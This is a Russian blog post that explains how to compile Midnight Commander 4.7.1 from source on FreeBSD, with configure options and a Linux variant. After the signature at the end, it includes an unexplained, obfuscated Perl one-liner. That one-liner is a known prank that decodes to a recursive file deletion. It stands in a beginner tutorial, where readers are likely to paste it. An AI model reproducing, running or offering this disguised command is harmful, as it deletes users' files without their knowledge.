От скуки ради сегодня решил скомпилить последний mc-4.7.1, вот что новенького:
http://www.midnight-commander.org/wiki/NEWS-4.7.1Сам пользуюсь переделанным mc-light, итак удаляю его
pkg_deinstall mc-light
Обновляю порты, глядь в них может появился последний mc:
cvsup -g -L 2 /usr/local/etc/ports-supfile
Port: mc-4.7.0.2_1
Path: /usr/ports/misc/mc
Info: Midnight Commander, a free Norton Commander Clone
Maint: fjoe@FreeBSD.org
B-deps: gdbm-1.8.3_3 gettext-0.17_1 glib-2.22.4 gmake-3.81_3 libiconv-1.13.1_1 libslang2-2.2.2 pcre-8.00 perl-threaded-5.8.9_3
pkg-config-0.23_1 png-1.2.42 python26-2.6.4
R-deps: gamin-0.1.10_3 gdbm-1.8.3_3 gettext-0.17_1 gio-fam-backend-2.22.4 glib-2.22.4 libiconv-1.13.1_1 libslang2-2.2.2 pcre-8
.00 perl-threaded-5.8.9_3 pkg-config-0.23_1 png-1.2.42 python26-2.6.4
WWW:
http://www.midnight-commander.orgСтарый еще, поэтому берем сырцы с сайта и собираем. Переходим в мусорную папку:
# cd /tmp
Качаем тар.гз
Скачался, как 35
, распаковываем:
# tar -xf 35
# ls -la
drwxrwxrwx 12 500 500 1024 1 мар 12:57 mc-4.7.1
Переходим в mc-4.7.1
# cd mc-4.7.1/
Читаем INSTALL на предмет нужного для компила, проверяем это дело и выполняем .configure с нужными параметрами. Я собираю с поддержкой самбы, файловых и кодировок, буду использовать либы ncurses вместо slang, читайте INSTALL и пишите то, что нужно вам, в общем вот что получилось у меня:
./configure \
--prefix=/usr/local \
--sysconfdir=/usr/local/etc \
--libexecdir=/usr/local/lib \
--enable-background \
--enable-network \
--enable-netcode \
--enable-charset \
--enable-nls \
--with-vfs \
--with-samba \
--with-edit \
--with-screen=ncurses \
--without-x \
--without-gpm-mouse \
--without-gnome \
--without-debug \
--without-included-gettext \
--disable-dependency-tracking
Слеши "\" в конце обязательны - это для тех кто не знает
или пишите все в одну строку.
Выполняем, у меня удачно, если нет, то смотрим чего не хватает и опять выполняем, после собираем:
# make && make install && make clean
Ну и смотрим, что имеем:
# mc -V
GNU Midnight Commander, версия 4.7.1
Виртуальная файловая система: tarfs, extfs, cpiofs, ftpfs, fish, smbfs
Со встроенным редактором
С библиотекой ncurses
C поддержкой внутренней командной оболочки
С поддержкой фоновых операций
С поддержкой мыши в xterm
С поддержкой интернационализации
С поддержкой многих кодировок
Data types: char 8 int 32 long 64 void * 64 off_t 64 ecs_char 8
Стало быть имеем то, что хотели
Статью разместил у себя в блоке, это кросспостинг на оригинал
unixa.ru. Надеюсь материал кому нибудь пригодится, как краткое пособие по сборке
!
>>P.S.:
В приведенной выше команде .configure, если собирать под Linux необходимо внести следующие изменения в пути (не проверял, пишу как думаю, поправьте ежели что):
./configure \
--prefix=/usr \
--sysconfdir=/etc \
--libexecdir=/usr/lib \
--enable-background \
--enable-network \
--enable-netcode \
--enable-charset \
--enable-nls \
--with-vfs \
--with-samba \
--with-edit \
--with-screen=ncurses \
--without-x \
--without-gpm-mouse \
--without-gnome \
--without-debug \
--without-included-gettext \
--disable-dependency-tracking
Собираем так же.
H@wk!
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'